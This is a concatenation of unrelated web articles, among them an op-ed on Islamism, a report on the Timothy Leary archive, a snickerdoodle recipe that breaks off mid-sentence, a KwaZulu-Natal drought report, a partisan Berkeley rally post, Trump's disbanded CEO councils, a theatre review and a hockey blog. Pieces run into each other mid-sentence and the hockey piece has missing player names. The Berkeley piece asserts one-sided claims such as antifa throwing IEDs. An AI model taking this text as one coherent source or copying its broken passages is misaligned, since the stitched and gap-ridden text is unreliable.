What is significant about highlighting Islamist ideology and far-right ideology in this way is that no matter how many grievances we address, and no matter how much effort we make to encourage inclusiveness, just like racists, Islamist ideologues will always seek to manipulate any complaint for the purpose of recruitment.
For example, obviously not all anti-immigration voices are racist, and it behoves such voices to make this clear when criticising immigration. But no one can deny that racists will use immigration as a recruitment tool.
This is why it is so important for members of the political right to unequivocally distance themselves from racism – violent or not – in the way that many mainstream Conservative party members already rightly do.
Similarly, it is disingenuous for many Muslims and others to solely criticise foreign policy grievances without also openly debunking Islamist ideology in its peaceful or violent manifestations. Fall short of this and we become nothing but tools in the hands of ideological propagandists who will use our voices to further the victimhood narrative, just as racists do when talking about immigration.
Islam is a faith, my own faith. Islamism is a theocratic ideology that seeks to impose any version of Islam over society by law. Jihadism seeks to spread Islamism by force.
Islamism is not always violent, but that does not mean we should not always challenge it. Any desire to impose any religion over any people, whether by law or war, is inherently a repugnant idea. And we rightly did away with theocracies in Europe a long time ago.Leary, who died in 1996, coined the phrase “Turn on, tune in, drop out” and was labeled by Richard M. Nixon as “the most dangerous man in America.” He was present in Zelig-like fashion at some of the era’s epochal events. Thousands of letters and papers from Ginsberg, Aldous Huxley, William Burroughs, Jack Kerouac, Ken Kesey, Charles Mingus, Maynard Ferguson, Arthur Koestler, G. Gordon Liddy and even Cary Grant — an enthusiastic LSD user — are in the boxes.
“How about contributing to my next prose masterpiece by sending me (as you sent Burroughs) a bottle of SM pills,” Kerouac wrote Leary, referring to psilocybin. “Allen said I could knock off a daily chapter with 2 SMs and be done with a whole novel in a month.”
Denis Berry, a trustee of the Leary estate, said that the library paid $900,000 for the collection, some of which is being donated back to finance the processing of the material. The rest will pay the estate’s caretakers and then be divided among Leary’s surviving children and grandchildren. Ms. Berry said the estate had been looking for a buyer for the archive for years.
William Stingone, curator of manuscripts at the library, predicted that the collection would help researchers get beyond the “myth making” around ’60s figures. “Hopefully we’ll be able to get to some of the truth of it here,” he said.
The complete documentation of Leary’s early experiments with psychotropic drugs, for example, can allow scholars to assess the importance of that work in light of current clinical research on LSD, Mr. Stingone said. Ms. Berry called the Harvard data “the missing link.”
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The meeting between Ginsberg and Leary marked an anchor point in the history of the 1960s drug-soaked counterculture. Leary, the credentialed purveyor of hallucinatory drugs, was suddenly invited into the center of the artistic, social and sexual avant-garde. It was Ginsberg who helped convince Leary that he should bring the psychedelic revolution to the masses, rather than keep it among an elite group. Filling out one of Leary’s research questionnaires in May 1962 the poet Charles Olson wrote that psilocybin “creates the love feast,” and “should be available to anyone.”
Thomas Lannon, the library’s assistant curator for manuscripts and archives, explained that at the time these substances were not regulated by the government, and that Leary and his group did not consider them drugs but aids to reaching self-awareness.
Leary kept meticulous records at many points during his life. There are comprehensive research files, legal briefs, and budgets and memos about the many institutes and organizations he founded, but there are also notes and documents from when he was on the run after escaping from a California prison with help from the Weather Underground. A folder labeled as notes from his “C.I.A. kidnapping” in 1973 is full of cryptic jottings recounting the details of his arrest in Afghanistan, at an airport in Kabul, after he fled the United States.
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Among the papers are daily schedules and budgets from the estate in Millbrook, in Dutchess County, where Leary, his colleague Richard Alpert (who later changed his name to Ram Dass) and their followers stayed after Leary was fired by Harvard in 1963. They worked on keeping “people’s consciousness in ecstatic regions.”
Everyone kept a log of his “mood” and “collaboration.” One weekly tally showed Mr. Alpert consistently in the upper regions of the scale, and Leary’s moods swinging from “anguished” to “ecstatic,” and his collaborations from “hung-up” to “Buddha.”
In 1969 Leary joined John Lennon and Yoko Ono in Montreal for their weeklong Bed-In for Peace, where Lennon wrote a version of “Come Together” for Leary’s campaign for California governor against Ronald Reagan. Leary wrote poems and songs on a stack of yellow legal notepaper that included:
We all started singing
Give Peace a Chance
John said can we help your campaign
And then he hummed a sweet refrain
Come together, come together right now.
On another sheet he wrote that the summer of ’69 “was the sexiest season in the long annals of the human race.”
In his later years Leary became a proponent of cybernetics and designed software. “He was always about 10 years ahead of his time,” Ms. Berry said. Among the videotapes is one from the early ’90s of him talking about how everyone is going to have a computer at home, she said.
Leary introduced many of his contemporaries to the psychedelic experience, but not everyone was as enamored as he was. After trying Leary’s magical pink pills Arthur Koestler told his host the next day that they were not for him: “I solved the secret of the universe last night, but this morning I forgot what it was.”Denver Broncos wide receiver Wes Welker was suspended four games by the NFL for violating the league’s performance-enhancement policy after testing positive for an amphetamine. Pro Football Talk reported Welker was popped for taking Molly — think: MDMA plus some uppers — when he attended the Kentucky Derby.
The league is clandestine about all drug punishments, leaving the players to offer whatever excuses or alibis — Adderall, it’s always Adderall — they can muster to avoid the doper label. Welker denied taking drugs … knowingly.
“I wouldn’t have any idea where to get a Molly or what a Molly is,” Welker told the Denver Post. “That’s a joke. I don’t do marijuana, I don’t do drugs. I don’t do any drugs.”
Welker suggested someone may have spiked his drink during the revelry at the racetrack. Maybe Tom Brady, who was teammates with Welker with the Patriots and also attended the Derby in May, could shed some light on Welker’s intake or ecstatic mood.
“I got no comment on that,” Brady said with a laugh.
Without knowing for certain, then, what Welker did or didn’t take, we will have to settle for imagining the shifty receiver in various football settings through the years, tripping out of his skull:
“I can breathe invisible fire! I’m a dragon!”
“Whoaaaaa. Come here, little birdie. I’m too fast. I’ll catch you. Too fast.”
“The sun is a magical orb of love. The colors are a swirl of tiny crystals. This day is perfect. My left eye is feeling a bit weird, though. Am I blinking right now?”
“Stop following me. Oh nooooo…Why is this guy following me? Deep breath. OK. His camera can’t see in my tote bag — it’s OK.”
“Wheeeeeeee!”
“I just want to touch you, feel that smooth pigskin on my catching gloves, but it’s like, you’re so far away.”
“Do you guys like my new hat? It’s made out of felt and stuff. But it’s a little hot. Wow, actually, really hot. Is anyone else feeling super warm right now?”
“You’re a really good friend, Tom. I feel really close to you, out here, on this field. That suit is special. And your hair: amazing.”
“Grrrrr. Get off me. Oh god. Get. Off. Me!”
“I am jumping so high! Next one, bet you I can touch the upper deck!”If you love snickerdoodles, you have to try this giant snickerdoodle cookie recipe. Enough to share, but who wants to do that?
Ever have a giant craving for a cookie? Like a craving of epic proportions? Well, I’ve been craving the sweet, cinnamon-spiced softness of a snickerdoodle cookie for weeks now.
Snickerdoodles have been a favorite of mine since I was little. Besides their whimsical name (who else loves to just say snickerdoodle out loud?!), I can’t get enough of their cinnamon-sugar crusted exterior and buttery soft inside. They are like sugar cookies in a cute little cinnamon outfit. How can one resist?
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For some reason, giant cookies are just so much tastier than their normal-sized counterparts. Something about knowing you have a cookie the size of your head to finish just seems so much more appealing than eating two or three smaller cookies. And today’s snickerdoodle is anything but “small.” I tweaked the recipe for my XXL Sugar Cookie and came out with the the softest, chewiest, and most cinnamon-spiced snickerdoodle I’ve ever eaten. I’m not kidding, this cookie literally melts in your mouth. It is smooth like buttah.
One thing I loathe about certain cookies like sugar cookies, snickerdoodles, and gingersnaps is that they can be hard and practically crunchy. Nothing about a “crunchy” cookie sounds appealing to me. I need soft, luscious, buttery cookies and I’m pretty sure I’m not alone in that!
Regular snickerdoodles are rolled in a cinnamon-sugar blend. I simply sprinkled cinnamon & sugar on top because the soft cookie dough was impossible to roll into a ball. You have to watch this guy in the oven pretty closely in the oven. Mine was done at exactly 15 minutes. The edges were barely browning and the center didn’t look quite finished. After letting it cool for about 15 minutes, the center set and I was able to put it on a plate to stuff my face enjoy.
This cookie is HUGE and perfect for sharing… if you’re so inclined. Earlier this year I made another version of this cookie, a Peanut Butter Reese’s Pieces version, which I shared with Kevin. It is hands down, one of the BEST things I’ve ever eaten.
But while Kevin was at work, I was left alone with this giant snickerdoodle. Darn.
1 Giant Snickerdoodle Cookie Makes 1 large cookie, perfect for sharing! Cookie stays soft and fresh for up to 3 days. Cookie freezes well, up to 2 months. Print Recipe Ingredients: 2 Tablespoons butter, softened to room temperature
3 Tablespoons granulated sugar + 1/4 tsp for sprinkling on top
2 Tablespoons beaten egg (crack the egg, beat it, and use 2 tbsp)
1/2 teaspoon vanilla extract
6 Tablespoons all-purpose flour
1/4 teaspoon baking soda
1/4 teaspoon salt
1/4 teaspoon cream of tartar (no substitutions)
1/2 teaspoon cinnamon (divided) Directions: Preheat oven to 350 degrees. Spray cookie sheet with nonstick spray or use a silicone baking mat. In a medium-sized mixing bowl, stir the butter and 3 Tbsp sugar together until |
JOHANNESBURG – On Monday morning, residents of Umtentwini, near Port Shepstone on the KwaZulu-Natal South Coast, stood in long queues to buy bottles of water after salt water flowed from their taps at home.
Salt water from the Indian Ocean contaminated the water supply from the Umzimkulu River over the weekend. This is due to the current drought, which has led to the province being declared a disaster area.
Video courtesy South Coast Herald.
Ugu district municipality spokesperson France Zama said the situation would continue until it rains and while residents should refrain from drinking the tapwater, it can be used for other purposes.
The drought has affected 2,7-million households in KZN, the Free State, the North West and Limpopo. Water restrictions were introduced to parts of Gauteng last week as low rainfall is expected over the next few months.
Dams are almost dry, and there are dams that have water, so we are working on storage capacity. Mokonyane — Water&Sanitation_RSA (@DWS_RSA) November 2, 2015
Zama said that due to the water levels in the Bhobhoyi dam being low, water had to be redirected from the Umzimkulu River to supply residents in Port Shepstone and Umtentweni.
“Water levels in the dam (have) dropped very low. On Saturday we had to redirect water from the Umzimkulu River but due to the slow flow, seawater pushed up through the river and reached the plant,” said Zama.
The river mouth was not open and the level of saltwater in the river reached a climax. On Monday morning sand was dredged from the river mouth to try to recirculate the river flow.
“Our team is (currently) on site. We want to try and extract the sand that’s been pushed up,” said Zama.
“This is costing millions. It’s an additional cost that we haven’t budgeted for,” he said.
Sand from the mouth of the Umzimkulu River near Port Shepstone is removed to clear the opening. Photo courtesy South Coast Herald.
“High-lying areas of Gamalakhe and Murchison will experience dry taps while our system is trying to stabilise as there is currently high demand being exerted on our system," Zama said.
In the meantime, the municipality is supplying water tanks to affected areas.
Zama said the municipality is hoping to get resources from the national government and the Department of Co-operative Governance and Traditional Affairs to cover the costs.
The Harbour View Super Spar in Port Shepstone has had long queues of customers since Sunday, said owner Graeme Milligan.
“We’ve brought in thousands of bottles and we are doing everything in our power, trying to get water for customers,” Milligan said.
Customers at Harbour View Super Spar in Port Shepstone buy large quantities of water. Photo courtesy Graeme Milligan.
The Spar has its own borehole water supply and Milligan said that his staff filled containers through the night.
“Luckily we have borehole water and it’s all treated,” said Milligan.
Aside from the devastating effects of the drought, Ugu district municipality is one of 27 district municipalities identified by the Department of Water and Sanitation as a priority area due to poor infrastructure and being unable to pay for water services.
A Google Map showing the district municipalities in KwaZulu-Natal which have been prioritised by the national government. These include: Ugu; Umgungundlovu; Uthukela; Umzinyathi; Amajuba; Zululand; Umkhanyakude; Uthungulu; iLembe and Harry Gwala.
The 2015 strategic overview of the water sector found only 66% of households in the country have a reliable water service.
The report states that South Africa is losing R7-billion a year due to 27 district municipalities being unable to pay for their water services.
14% of municipalities say they can’t afford to pay
28% of municipalities say they can’t pay because the meters are dysfunctional
The Ugu district&39;s problems stem from illegal connections to the main line, said Zama.
“We’ve introduced a by-law which is going to deal with illegal connections. There will be drastic actions and penalties,” said Zama.
Those who are found guilty of illegal connections will be fined. If they don’t comply it will be a criminal offence, he said.
Water Affairs and Sanitation Minister Nomvula Mokonyane has urged all residents to use water conservatively.While these Trump supporters and free speech activists exercise their God-given rights, there is also a large police presence assembling near the MLK Civic Center.
A heavy police presence can be seen near MLK Civic Center Park in Berkeley ahead of rallies. WATCH LIVE: https://t.co/vTaJ3YyBRZ pic.twitter.com/an4Z8DQ2L1 — NBC Bay Area (@nbcbayarea) April 27, 2017
Police officers descend on a growing crowd of demonstrators in Berkeley. https://t.co/KEtXrvWkQo pic.twitter.com/munDHWeU6e — NBC Bay Area (@nbcbayarea) April 27, 2017
Despite #AnnCoulter pulling out of Berkeley, we're still determined to show up and take a stand for free speech. Come join us! pic.twitter.com/riYolsRufY — Brittany Pettibone (@BrittPettibone) April 26, 2017
Interestingly enough, the police were absent in past altercations at Berkeley. First, these antifa violent rioters began tearing down the college campus when conservative firebrand Milo Yiannopolous was scheduled to speak. The police did nothing to intervene when Antifa rioters began attacking people trying to attend Yiannopolous’s speech.
And just recently, the police were completely absent when Trump supporters chased off Antifa violent protestors who were throwing smoke bombs, bricks, and even IEDs at them. The police did absolutely nothing.Today is the 3rd annual Asteroid Day, and the first to be presented under the auspices of the United Nations, with live global broadcasts raising awareness about asteroids
Today, more than 1,000 local events in around 200 countries are being organised to celebrate Asteroid Day. Sanctioned by the United Nations in 2016, it is a global day of education to raise awareness about asteroids.
In addition to the local events, a day-long broadcast will be transmitted from around the world, with a six-hour live stretch coming from Luxembourg. This is where I will be, sharing the hosting duties with Professor Brian Cox from 11am BST. You can watch the whole thing in the video embedded above.
My association with Asteroid Day began with a phone call from film-maker Grig Richters one afternoon in 2014. I knew Grig and had worked with him on his film, 51° North, drama about the devastating collision of an asteroid with Earth.
Brian May: Asteroid Day can help protect the planet Read more
On the phone that afternoon, he told me that he wanted to set up a day to sensibly communicate the threat of asteroids and why it needed a global response. This resonated with me because the UK Government’s Asteroid Task Force, from 2001, had recommended building global collaboration to tackle the issue.
Grig’s co-founders for Asteroid Day were Brian May, Queen guitarist and astrophysicist, Rusty Schweickart, Apollo 9 astronaut, and Danica Remy of B612, a non-profit organisation that seeks to “harness the power of science and technology to protect the future of our planet”.
Thanks to their efforts, Asteroid Day was a success from the beginning but this year the number of events is double that from one year ago, and four times as many as during the inaugural Asteroid Day in 2015.
'Obviously the threat is there': Chris Hadfield on the danger of asteroid strikes Read more
Asteroid Day takes place on 30 June because on this day in 1908, a small celestial body struck an uninhabited area of Siberia, Russia. The blast devastated 770 sq miles (2,000 sq km) of forest. That’s more than enough to destroy a whole city should one be struck.
Around the world, space agencies and other organisations are working towards understanding and eventually protecting Earth from this danger. This burgeoning global collaboration is what is being celebrated today.
Space has always had an uncanny ability to unite people regardless of their political, national or religious divisions. Asteroid Day taps into that, promotes it and hopefully enhances it.
To take part in Asteroid Day, wherever you are, watch the live feed in the viewer above and post any relevant questions for the experts in the comments below. We will be scanning them during the day.
Stuart Clark is the author of The Search for Earth’s Twin (Quercus). He will be delivering the Guardian masterclass on Is there life beyond Earth?.DUBAI (Reuters) - The United Arab Emirates has formally designated the Muslim Brotherhood and local affiliates as terrorist groups, state news agency WAM reported on Saturday citing a cabinet decree.
The Gulf Arab state has also designated Nusra Front and the Islamic State, whose fighters are battling Syrian President Bashar al-Assad, as terrorist organizations, along with other Shi’ite militant groups such as the Houthi movement in Yemen.
Saturday’s move echoes a similar move by Saudi Arabia in March and could increase pressure on Qatar whose backing for the group has sparked a row with fellow Gulf monarchies.
It also underscores concern in the U.S.-allied oil producer about political Islam and the influence of the Brotherhood, whose Sunni Islamist doctrines challenge the principle of dynastic rule.
The UAE has designated al-Islah group, which is a local Islamist group banned in the UAE for its alleged link to Egypt’s Muslim Brotherhood, as a terrorist group.
UAE authorities have cracked down on members of al-Islah and jailed scores of Islamists convicted of forming an illegal branch of the Brotherhood. Al-Islah denies any such link, but says it shares some of the Brotherhood’s Islamist ideology.
In an unprecedented public move, Saudi Arabia, Bahrain and the United Arab Emirates recalled their ambassadors to Qatar in March, accusing Doha of failing to abide by an agreement not to interfere in one another’s internal affairs.
So far efforts by members of the GCC, an alliance that also includes Oman and Kuwait, to resolve the dispute have failed.
The three states mainly fell out with Qatar over the role of Islamists, including the Muslim Brotherhood. Gulf officials say the three want Qatar to end any support for the Brotherhood.
Qatar says it backs all Arabs, not just Brotherhood members.
Qatar’s emir on Tuesday publicly invited fellow Gulf rulers to a Doha summit, apparently seeking to forestall what diplomats say is an attempt by some peers to move it elsewhere in protest at what they see as an Islamist tilt in his foreign policy.The first Common Ground project was completed in 2015 in Gungahlin. Minister for Planing and Land Management Mick Gentleman said it was a fantastic opportunity for the community to help share urban renewal in Dickson. "The ACT government has committed to deliver new public housing and a new Common Ground project within Section 72, providing new homes on the light rail corridor and close to services," Mr Gentleman said. He said the government would work with the community and stakeholders to explore options for the future of the site. Common Ground is an experiment in low-cost supportive housing, which combines accommodation and on-site support services within a stable community to support people experiencing homelessness and other vulnerability in Canberra.
The government said the block was large to combine a mix of uses, including community facilities and private homes, in addition to the planned social housing. The precinct is within easy walking distance of Dickson shops, Dickson pool and the first stage of light rail. Minister for Housing and Suburban Development Yvette Berry said the second Common Ground would deliver a key 2016 Labor election commitment. "Alongside the planning conversation I will be bringing together the views of the Common Ground board and the housing and homelessness sector and also drawing on consultations around the recent housing summit to decide on the best model for this Common Ground," Ms Berry said. "The nature of this facility, the different needs of people who live there and the way services are provided will also influence more detailed building design and consultation."
The block is currently zoned for leisure and accommodation, which means the government will first need to vary the territory plan before proceeding. The deal between the club and the now-defunct Land Development Agency saw the government pay the CFMEU-linked club $3.55 million for a block of land on Rosevear Place, housing the local CFMEU branch office. In return, the Tradies club agreed to buy the carpark beside its premises for $3.2 million, and the government also paid the club $49,500 for the nearby old Downer Club site on Hawdon Street. While the government has paid the club for the Rosevear Place block and old Downer Club site, settlement on the carpark land was delayed until the redevelopment of a nearby carpark into a Coles and apartment block was completed. The government also allowed the CFMEU to remain rent-free in its Rosevear Place premises for 42 months, due to the delayed settlement for the carpark block and the cost of maintaining the land.
Auditor-General Dr Maxine Cooper last month announced she had begun a "performance audit", which would examine whether the government's tender process for the sale of that specific block was effectively conducted. The government was unable to give an estimated cost of the second Common Ground project or the timeframe to build it. Mr Gentleman said he would like to hear from residents, businesses and community service providers within Section 72 about their ideas for the rest of the site.About the Sailfish
The two main subspecies of sailfish, Atlantic and Indo-Pacific, range throughout the warm and temperate parts of the world’s oceans.
Unique Traits
They are blue to gray in color with white underbellies. They get their name from their spectacular dorsal fin that stretches nearly the length of their body and is much higher than their bodies are thick.
Feeding
They are members of the billfish family, and as such, have an upper jaw that juts out well beyond their lower jaw and forms a distinctive spear. They are found near the ocean surface usually far from land feeding on schools of smaller fish like sardines and anchovies, which they often shepherd with their sails, making them easy prey. They also feast on squid and octopus.
Game Fishing
Their meat is fairly tough and not widely eaten, but they are prized as game fish. These powerful, streamlined beasts can grow to more than 10 feet and weigh up to 220 pounds. When hooked, they will fight vigorously, leaping and diving repeatedly, and sometimes taking hours to land.
PopulationDuring his campaign for president, Donald Trump boasted of business prowess, vowing to bring in top executives to help him revive the economy and to personally lobby corporate chiefs to keep jobs in the U.S.
Those CEOs are now abandoning him in a humiliating snub for a president who took great pleasure in summoning corporate titans to the White House and trying to get them to bend to his will.
After widespread criticism for remarks that appeared to confer legitimacy on white supremacists, Trump is facing a mass exodus of the CEOs he once courted, a public repudiation that undermines his image as a businessman and could threaten his policy agenda on everything from taxes to trade.
Trump said Wednesday he’s disbanding two advisory groups of American business leaders, after several CEOs quit this week and more were preparing to resign in the wake of his comments that some “very fine people” were among neo-Nazis protesting at a violent rally in Charlottesville last weekend.
The week’s events threaten to forever tarnish Trump’s credentials as a business president, undermining a foundation of his political appeal and weakening the Republican party’s core alliance with business interests for as long as he leads the party. The political damage compounds the risk the GOP faces in 2018 midterm elections.
Corporate executives are now making a pragmatic calculation that a Republican president’s brand has become too toxic, said Carlos Gutierrez, chairman of Albright Stonebridge Group, a Washington international strategy firm that advises businesses.
Toxic Brand
“There’s always the risk that CEOs will not have their brand associated with administration initiatives, which is extremely dangerous for the president’s agenda,” said Gutierrez, who served as Commerce Secretary under President George W. Bush. “The president will need the business community but the business community would rather stay out of the White House.”
On Thursday, the Cleveland Clinic announced that “after careful consideration,” it wouldn’t hold its annual fundraiser at Trump’s Mar-a-Lago resort in Florida in 2018. The clinic’s board had been under pressure after almost 1,700 medical students, doctors, nurses and others criticized its use of Mar-a-Lago in an open letter last month. Holding a hospital fundraiser there “symbolically and financially supports a politician actively working to decrease access to health care and cut billions of dollars in research funding,” the letter said.
Cleveland Clinic CEO Toby Cosgrove had served on the President’s Strategic and Policy Forum before Trump disbanded it.
Trump opened his presidency highlighting his relationships with titans of industry, regularly bringing in camera crews and reporters to show the nation a president leading discussions that included some of the best-known names in business. The American Manufacturing Council and Strategic and Policy Forum, both disbanded Wednesday, were each heavily promoted during the first days of his presidency, as the White House sought to show its focus on boosting the economy.
Business leaders would often flank the president in the Oval Office as he signed legislation and announced new orders.
‘Too Costly’
With the Republican party in control of the White House, and both houses of Congress, the constant stream of business executives visiting the West Wing was presented by the White House as evidence that Trump’s agenda for boosting the economy was in full swing.
Now, as Congress has struggled to pass legislation during the Trump era, the chaos surrounding the White House has served to further undermine Republicans’ image in the eyes of a risk-averse business community, according to strategists and experts.
Graham Wilson, a Boston University professor who studies the intersection of business and politics, said the scale and depth of feeling in opposition to Trump’s statements is too large for executives to ignore.
“Standing with Trump at this moment, after his bizarre comments, is just too costly for corporations,” Wilson said. “This signal from corporate America could also have a broader impact on public opinion and the loyalty of core Republicans to Trump.”
Breaking Away
Some business-oriented Republicans who had been “swallowing very hard over some of Trump’s stranger statements” now may break away, Wilson said.
Republican officeholders must not just condemn the violence by white-supremacist groups, they must repudiate the position Trump has taken or “slide into the moral abyss with him,” said Republican strategist Steve Schmidt, who was a top adviser for 2008 presidential nominee John McCain.
“Republicans who believe that the possibility of tax reform outweighs the urgent civic necessity of condemning white supremacy extremism and Nazism are as morally obtuse as Trump and are likely to pay a very steep political price,” he said.
The public spat between Trump and CEOs comes as the White House and the Republican-led Congress are looking to advance an overhaul of the tax code.
“I don’t see any business that’s going to want to partner with the president on an initiative,” said Leslie Dach, a strategic communications consultant in Washington. “Because the chance of it bringing them grief is large and the short-term upside is slim.”
Low Polls
Even before the controversy surrounding his statements about the events in Charlottesville and the collapse of the economic council, Trump’s standing in Gallup’s daily tracking poll was already near an all-time low for his presidency. Just 36 percent of Americans said they approve of the job he’s doing, while 58 percent disapprove, in the poll taken Aug. 13-15.
Kevin Madden, a Republican strategist who was a senior adviser to Mitt Romney in the 2012 presidential campaign, said all is not lost for Trump and his relations with corporate America.
“The community still has an interest in collaborating on an economic agenda, but they are certainly sending a message,” Madden said. “This is a different era, where businesses and CEOs are as focused on communicating their company’s values in addition to caring about their bottom line.”
To the extent businesses back Trump initiatives, it is now more likely to be transactional: one-time support for specific policies that directly help them. Conversely, Trump, who has pushed policies on immigration and trade that are unpopular in the business community, could also see more executives willing to speak out against him when they disagree with his agenda, said Gutierrez.
“Businesses had been somewhat reluctant–they don’t want to be on the wrong side of the administration, they don’t want to be the subject of a tweet,” he said. “I think that that is quickly fading away.”
The blow up may be a sign of things to come. The reality is that the capital has become more challenging terrain for corporate leaders, who take great pains to stay away from controversy, as populists squeeze out pro-business moderates in both the Republican and Democratic parties.
“Washington, whether it is on the right or the left, is a risky place right now,” said Sam Geduldig, a former Republican congressional aide and now a partner at CGCN Group, a lobbying firm. “It is not a place for the weak or the timid.”Clemson head coach Dabo Swinney hosted the kids from the Clemson Life Program at football practice on Wednesday, and afterwards he brought them over to Memorial Stadium on a bus like the football team uses on game days, where they ran down the Hill.
Swinney also took individual pictures with each child afterwards. Swinney’s All-In Foundation presented the Clemson Life Program a check for $35,000 after practice.
Huge thanks to Dabo's All In Foundation for hosting us at practice and for their $35,000 donation to our program! pic.twitter.com/cxbhOFQaE8 — ClemsonLIFE (@clemsonlife1) September 23, 2015
“This is a great day. All you have to do is look at the joy on their faces,” Swinney said. “It is just an awesome experience to be a part of.”
The Clemson LIFE Program offers a 2-year Basic Program that incorporates functional academics, independent living, employment, social/leisure skills, and health/wellness skills in a public university setting with the goal of producing self-sufficient young adults.
Additionally, the Clemson LIFE Program offers a 2-year Advanced Program for students that have demonstrated the ability to safely live independently, sustain employment, and socially integrate during the Basic Program. The Advanced Program progresses with an emphasis on workplace experience, community integration, and independent living with transitionally reduced supports. Students who successfully complete the Basic or Advanced program will receive a corresponding certificate of postsecondary education.
“The Clemson Life Program is amazing. It is absolutely amazing,” Swinney said.
“They are all just amazing and the program is amazing and how it is run. It is something the foundation supports and we are just really blessed and honored at what they do. The Clemson Life Program stands for learning is for everyone,” he continued. “These young people live life the way we should all live life. They really do. It is just a pleasure and joy to be around them. To see them interact around practice and have fun, to see the joy to get autographs, and I wish you could have been on that bus when they hopped on that bus with a police escort and came around here. It was game time! It was so much fun to be a part of.”Singin' In The Rain: REVIEW
Adam Garcia: pic credit Jeff Busby
Pic credit: Jeff Busby
Erika Heynatz playing Lina Lamont: pic credit Jeff Busby
Pic credit: Jeff Busby
The musical spectacular has stormed into Melbourne, filling Her Majesty's Theatre with plenty of laughter, nifty tap dance moves, and a good hearty sprinkle of old fashioned Hollywood glamour.Singin' In The Rain the musical, is based on the tap-tapping MGM 1956 movie classic of the same name, which starred Gene Kelly and Debbie Reynolds.That scene, which everyone waits for, featuring Adam Garcia playing the lead role of Don Lockwood tap dancing in the rain, is undoubtedly a showstopper in the musical. That said, there are plenty more beautifully choreographed scenes you will love throughout the show.The story follows three fictional film stars of the 1920s; Don Lockwood, Cosmo Brown and Lina Lamont, who must transition from silent movies into the new world of "talkies".It soon becomes apparent, that Lina Lamont's looks alone aren't going to propel her into "talkies" movie stardom, because she can't sing for toffee, and her whiny Bronx voice doesn't match her on-screen beauty.Don meets Kathy Selden, an unknown actress who is not only skilled in theatrical performance, but is a humble beauty matched with a magical singing voice. Don finds his true love, much to Lina Lamont's dismay.Erika Heynatz, who plays the role of bubble-head blonde bombshell Lina Lamont, is without a doubt, one of the pillars of the Australian Sinin' In The Rain cast. Despite her statuesque beauty, Erika manages to whine out that unmistakable Bronx accent down a tee. Erika carries the ego of Lina perfectly, and makes the audience laugh with her airhead antics.Adam Garcia, has returned to Australia to play the lead role of Don Lockwood; his first speaking, singing and dancing role in 24 years. He is a talented showman, who carries off the unforgettable Singin' In The Rain scene with his fancy footwork. It is here, you will be suitably in awe, or if you're in the front couple of rows.. wet!12,000 litres of water wash down onto the stage, to recreate arguably the most famous scenes in cinema history. Front row folk, fear not if you're dressed in your best evening attire, you'll be given raincoats to protect you from Garcia's epic showdown.Standout performances also, from Gretel Scarlett who plays Kathy, and Jack Chambers who performs as Cosmo. The two stage stars absolutely shine through Singin' In The Rain.Singin' In The Rain will run until 26 June, 2016, and it's sen-tapping-sational.Where: Her Majesty's TheatreWhen: From 7 May to 26 June, 2016Prices: Tickets from $69.90Book: HEREWoman wanted for using stolen credit card in Naperville
Surveillance images of the person suspected of stealing a Naperville woman's purse and using her credit card. | Naperville police
Police are asking for the public’s help in identifying a woman suspected of stealing another woman’s purse and using her credit card in west suburban Naperville.
Officers were called on Jan. 13 for reports of burglary to a vehicle in the 1100 block of Aurora Avenue, according to a statement from Naperville police. The victim told investigators she was unloading items from the parked vehicle when someone took her purse from inside of it.
About 30 minutes after the purse was stolen, a woman withdrew $8,500 from the victim’s bank account and used the victim’s credit card at several stores in Wheaton, police said.
Investigators have released surveillance images of the suspect and ask that anyone who can identify her contact Naperville Crime Stoppers at (630) 420-6006. A reward of up to $1,000 is offered for information leading to the suspect’s arrest.Story highlights Maryland Gov. Martin O'Malley commuted his state's only four remaining death sentences Wednesday
O'Malley's move comes after the state legislature abolished the death penalty
O'Malley is just days away from leaving office and is considering a 2016 Democratic presidential bid
Outgoing Maryland Gov. Martin O'Malley took the state's last four inmates off death row Wednesday, commuting their sentences to life in prison without parole in one of his final acts in office.
The move comes as the Democrat considers a run for president -- a long-shot bid that many Democrats only expect to gain steam if Hillary Clinton opts not to run.
O'Malley's office announced the move in a release Wednesday morning, noting that the state's legislature had abolished the death penalty with a law that took effect in May 2013 and that the state's courts and attorney general have questioned whether the state has legal authority to carry out death sentences that were already imposed.
"In the final analysis, there is one truth that stands between and before all of us," O'Malley said in a statement. "That truth is this -- few of us would ever wish for our children or grandchildren to kill another human being or to take part in the killing of another human being. The legislature has expressed this truth by abolishing the death penalty in Maryland."
The four inmates whose sentences were commuted are Vernon Lee Evans Jr. and Anthony Grandison Sr., who were convicted of the 1983 contract killing of two witnesses scheduled to testify in a federal drug trial; Heath William Burch, convicted of killing an elderly neighbor couple in 1995; and Jody Lee Miles, convicted of robbing and shooting a theater manager in 1997.
O'Malley said in the statement that he'd met with the families of the victims of the four convicted killers whose sentences he commuted, and said they would suffer through "the additional torment of an un-ending legal process."
"In my judgment, leaving these death sentences in place does not serve the public good of the people of Maryland -- present or future," O'Malley said.
"Gubernatorial inaction -- at this point in the legal process -- would, in my judgment, needlessly and callously subject survivors, and the people of Maryland, to the ordeal of an endless appeals process, with unpredictable twists and turns, and without any hope of finality or closure," he said."Come at me, Massholes."
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And as if that wasn't enough, Kadri doesn't seem to like the Habs
—or the Sens for that matter
—and seems to play with extra pride and energy during these rivalry games, saving some of his best performances for big Saturday night tilts.
Here's Kadri introducing Alexei Emelin to the boards back in February.
After another thumping of the rival Montreal Canadiens, the Leafs are one step closer to mercifully ending their playoff drought. And althoughdidn't have a dominating offensive performance, he made his presence felt.The CBC feed caught Kadri yapping at the Montreal bench, with pointed words for Montreal's young, specifically. And rather than leaving his words on the bench, Kadri made sure to back up his bravado. Kadri caught bothand Gallagher at two separate points and delivered hard checks, the latter of which was called a penalty since Kadri ignored the simple fact that Gallagher didn't actually have the puck. A minor detail.And here's Kadri's hit on Eller, considerably less dirty.Although clearly a penalty, the check on Gallagher highlights the edge to Kadri's game. He isn't very big, but he picks his spots, usually lurking like a predator awaiting his unsuspecting prey, and makes it count. The Leafs haven't had a player of Kadri's skill with a chippy side for years; maybe not sinceand hold the hyperboleYou might think that because of Kadri's size he would shrink when the games turn physical. He seems to enjoy it, however, something that bodes well for the playoffs, when teams will be specifically targeting him. He even took a run ata few weeks ago. Sure, it didn't actually do any damage because Chara is a certifiable monster, but it shows that Kadri's either fearless or has a death wish. I'm not going to complain if there's a little bit of-style crazy in Kadri.Here is a sampling of Kadri's other greatest hits, a list that will hopefully continue to grow.Facing headwinds, Lufthansa has quietly listed seats on its planes on Airbnb.
“Our cabin isn’t in the woods, but in the sky!” exclaims the ad, offering a roundtrip ticket from New York to Frankfurt for $885, including taxes, in premium economy.
